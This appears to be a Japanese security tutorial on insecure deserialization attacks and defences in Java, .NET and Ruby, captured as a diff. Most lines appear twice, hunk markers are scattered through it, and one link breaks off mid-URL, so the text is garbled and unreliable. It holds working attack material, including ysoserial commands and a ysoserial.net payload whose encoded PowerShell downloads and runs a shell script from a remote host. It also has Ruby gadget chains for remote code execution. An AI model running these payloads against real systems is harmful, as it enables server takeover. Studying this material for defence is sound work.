Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**、それらを**エクスプロイト**できます。\
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**、それらを**エクスプロイト**できます。\
[**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scannerは**`ObjectInputStream`**デシリアライズに焦点を当てています。
Java Deserialization Scannerは**`ObjectInputStream`**デシリアライズに焦点を当てています。
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内の**デシリアライズ**脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**関連の脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。\
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズ脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**や**Yml**デシリアライズライブラリからの脆弱性も検出します。アクティブモードでは、スリープやDNSペイロードを使用して確認を試みます。\
[**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**シリアライズテスト**
サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができるかもしれません**(ウェブアプリ内で管理者権限を付与るかもしれません)。\
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするが容易になります。
サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができる**かもしれません(ウェブアプリ内で管理者権限を付与されるかもしれません)。\
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷できます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスすることが容易になります。
### **エクスプロイト**
#### **ysoserial**
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(パイプなど)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\
**RCE**ペイロードの前に**"URLDNS"**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、"URLDNS"ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
私は**RCEペイロードの前に「URLDNS」**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
あなたは **ysoserial** と一緒に [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **を使用して、より多くのエクスプロイトを作成することができます**。このツールに関する詳細は、ツールが発表された **トークのスライド** にあります: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaのさまざまな **Json** および **Yml** シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\
プロジェクトをコンパイルするために、私は `pom.xml` にこの **依存関係****追加** する必要がありました:
```markup
[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaのさまざまな**Json**および**Yml**シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\
プロジェクトをコンパイルするために、`pom.xml`にこの**依存関係**を**追加**する必要がありました:
```html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
@ -482,7 +482,7 @@ mvn clean package -DskipTests
```
#### FastJSON
このJava JSONライブラリについての詳細はこちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
このJava JSONライブラリについての詳細はこちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Labs
@ -495,7 +495,7 @@ Javaはさまざまな目的で多くのシリアル化を使用します:
- **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
- **RMI (Remote Method Invocation)**: Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
- **HTTP経由のRMI**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。
- **RMI over HTTP**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。
- **JMX (Java Management Extensions)**: JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
- **カスタムプロトコル**: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
@ -512,7 +512,7 @@ private transient double margin; // declared transient
```
#### Serializableを実装する必要があるクラスのシリアライズを避ける
特定の**オブジェクトがクラス階層のために`Serializable`**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローする`final``readObject()`メソッドを定義して、これらのオブジェクトがデシリアライズ不可能であることを確認してください。
特定の**オブジェクトがクラス階層のために`Serializable`**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローする`final``readObject()`メソッドを定義することで、これらのオブジェクトがデシリアライズ不可能であることを確認してください。
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -520,12 +520,12 @@ throw new java.io.IOException("Cannot be deserialized");
```
#### **Javaにおけるデシリアライズセキュリティの強化**
**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています。
**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は次の場合に適しています:
- デシリアライズコードがあなたの管理下にある。
- デシリアライズのために期待されるクラスが知られている。
**`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズを`Bicycle`クラスのみに制限しています
**`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズを`Bicycle`クラスのみに制限しています
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -556,7 +556,7 @@ return super.resolveClass(desc);
**シリアライゼーションフィルターの実装**: Java 9では、**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームに対して動的に構成できます。例えば:
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -572,7 +572,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスをインターセプトします。
- **jdeserialize**は、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
- **Kryo**は、速度と効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
- **Kryo**は、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
### 参考文献
@ -580,87 +580,10 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- デシリアライズとysoserialのトーク: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) スライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- デシリアライズのCVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDIインジェクション & log4Shell
**JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか**(およびこの脆弱性の例)については、以下のページを参照してください。
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
{{#endref}}
## JMS - Javaメッセージサービス
> **Javaメッセージサービス****JMS**APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサーコンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディションJava EEの一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
### 製品
このミドルウェアを使用してメッセージを送信する製品がいくつかあります:
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>)
### 悪用
基本的に、**危険な方法でJMSを使用しているサービスがたくさんあります**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\
これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。
ツール[JMET](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用して悪意のあるシリアライズオブジェクトを送信するためにこれらのサービスに接続して攻撃する**ために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
### 参考文献
- JMETトーク: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- スライド: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net
.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがオブジェクトのデシリアライズ中に特定のコードを実行するために悪用されます。
### フィンガープリンティング
#### ホワイトボックス
ソースコード内で以下の出現を検査する必要があります:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
ユーザー制御下の変数によって型を決定できるシリアライザーに焦点を当てるべきです。
#### ブラックボックス
検索は、Base64エンコードされた文字列**AAEAAAD/////**またはサーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これにより、デシリアライズされる型を制御できるようになります。これには、`TypeObject``$type`を含むがこれに限定されない**JSON**または**XML**構造が含まれる可能性があります。
### ysoserial.net
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成する**ことができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。
**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明されているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
**ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。
- **`--gadget`**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。
- **`--formatter`**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。
- **`--output`**は、悪用を**生**または**base64**エンコードで取得したいかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**Windowsでデフォルトで使用されるエンコーディングを使用して**エンコード**するため、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディングの互換性の問題**が発生する可能性がありますHTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません。_
- **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグイン**をサポートしています。
#### 追加のysoserial.netパラメータ
- `--minify`は**小さいペイロード**を提供します(可能な場合)。
- `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
- `--sf xml`は**ガジェット**`-g`を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します大文字と小文字を区別しない
**ysoserialの例**を使用して悪用を作成します:
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -678,8 +601,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
このパラメータを指定すると、 **ysoserial.net****ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかどうかをテストできます。\
**ysoserial.net** には、各エクスプロイトの動作をよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
このパラメータを指定すると、 **ysoserial.net****ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかテストできます。\
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@ -716,35 +639,35 @@ return obj;
.Netにおけるデシリアライズに関連するリスクを軽減するために
- **データストリームにオブジェクトタイプを定義させないようにします。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。
- **`JSON.Net`の場合、`TypeNameHandling``None`に設定します:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **`JavaScriptSerializer``JavaScriptTypeResolver`一緒に使用しないでください。**
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。**
- **リスクのあるプロパティを持つタイプに注意してください。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException``Value`プロパティは悪用される可能性があります。
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、`DataContractSerializer``XmlSerializer`でさえ脆弱になります。**
- **`BinaryFormatter``JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。**
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。**
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、WPFアプリケーションの`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。**
- **データストリームがそのオブジェクトタイプを定義することを許可しない。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。
- **`JSON.Net`の場合、`TypeNameHandling``None`に設定す** %%%TypeNameHandling = TypeNameHandling.None%%%
- **`JavaScriptSerializer``JavaScriptTypeResolver`共に使用しない。**
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解す** これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。
- **リスクのあるプロパティを持つタイプに注意する。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException``Value`プロパティは悪用される可能性があります。
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御す** これにより、`DataContractSerializer``XmlSerializer`でさえ脆弱になります。
- **`BinaryFormatter``JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装す。**
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにす。**
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにす。**
### **References**
- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、**トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって行われます。最初のメソッドは**dump**と呼ばれ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
Rubyでは、シリアライズは**marshal**ライブラリ内の2つのメソッドによって実現されます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアライズと呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
シリアル化されたオブジェクトを保護するために、**RubyはHMACHash-Based Message Authentication Codeを使用して**データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
シリアライズされたオブジェクトを保護するために、**RubyはHMACHash-Based Message Authentication Code**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
- `config/secrets.yml`
- `/proc/self/environ`
**Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)****:
**Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**:**
```ruby
#!/usr/bin/env ruby
@ -819,14 +742,14 @@ puts Base64.encode64(payload)
### Ruby .send() メソッド
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**任意の他のメソッドを**任意のパラメータで呼び出すことを可します。
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**他の任意のメソッドを**任意のパラメータで呼び出すことを可能にします。
例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
さらに、**`.send()`** のパラメータが攻撃者によって制御されている場合、前の記述で述べたように、**引数を必要としない**か、**デフォルト値**を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\
これを行うために、オブジェクトのすべてのメソッドを列挙して、**その要件を満たす興味深いメソッドを見つける**ことができます。
さらに、**`.send()`** のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、**引数を必要としない**か、**デフォルト値**を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\
これを実現するために、**その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙する**ことが可能です。
```ruby
<Object>.send('<user_input>')
@ -850,11 +773,11 @@ candidate_methods.length() # Final number of methods=> 3595
```
### Rubyクラス汚染
[ここでRubyクラスを汚染し、悪用する方法を確認してください](ruby-class-pollution.md)。
[Rubyクラスを汚染し、ここでそれを悪用する方法を確認してください](ruby-class-pollution.md)。
### Ruby _json汚染
ボディに配列のようなハッシュ化できない値を送信すると、それらは`_json`という新しいキーに追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。
ボディに配列のようなハッシュ化できない値を送信すると、それらは新しいキー`_json`に追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。
[Ruby _json汚染ページで詳細情報を確認してください](ruby-_json-pollution.md)。
@ -864,7 +787,7 @@ candidate_methods.length() # Final number of methods=> 3595
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、それらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています基本的にRCEを得るために悪用する関数
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (クラスはハッシュ(マップ)のキーとして配置する必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_createに関するートを参照](#table-vulnerable-sinks))</td></tr></tbody></table>
